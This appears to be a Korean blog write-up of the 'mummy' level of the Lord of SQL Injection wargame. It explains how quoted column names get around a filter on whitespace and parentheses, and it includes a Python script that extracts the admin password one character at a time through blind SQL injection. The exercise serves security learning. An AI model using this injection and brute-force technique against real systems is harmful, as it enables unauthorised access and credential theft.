Web Hacking/LOS

Lord of SQL Injection - mummy

Lucvs 2021. 10. 5. 08:00

필터링에서 괄호와 슬래시를 사용하지 못하게 막아놨다. 또한 query 에서 0x01 ~ 0x20 값이 인식되면 exit 된다. 

 

이번에는 신기하게 query 전체를 내가 구성할 수 있게 되었다. 공백을 우회하는 문제와 Blind SQL Injection 문제가 융합된 형식인 것 같다. 

 

$result[0] 이 무슨 의미인지 궁금해서 sqlsrv_fetch_array 함수의 return 값을 검색해 보았다. success 할 경우에는 나오는 데이터를 array 형식으로 return 하고, fail 한다면 NULL 값을 반환한다. query 자체를 참으로만 만들면 'Hello anonymous'라는 문자열이 출력된다. 

 

간단한 문제인 것 같다. 앞선 문제에서 column 명이 특수문자를 포함하거나 숫자로 시작할 경우에는 쿼터문자나 대괄호로 묶어주어야 한다고 했다. 일반적인 'dept'와 같은 이름의 column도 당연히 되는 것이다. 이를 이용하면 query에서 공백을 아예 없앨 수 있을 것 같다. 

 

그냥 바로 exploit 코드를 짜자.

 

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()
    
# Brute Force
password = ''

for i in range(1, 20):
    for j in range(48, 122):
        payload = '?query="pw"from"prob_mummy"where"id"=' + "'admin'" + 'and"pw"like' + "'" + password + chr(j) + "%'"
        res     = session.get(url = org_url + payload, headers=header, verify=False)

        if "Hello anonymous" in res.text:
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break


# Result
print("\n\nPW --> %s\n" % password)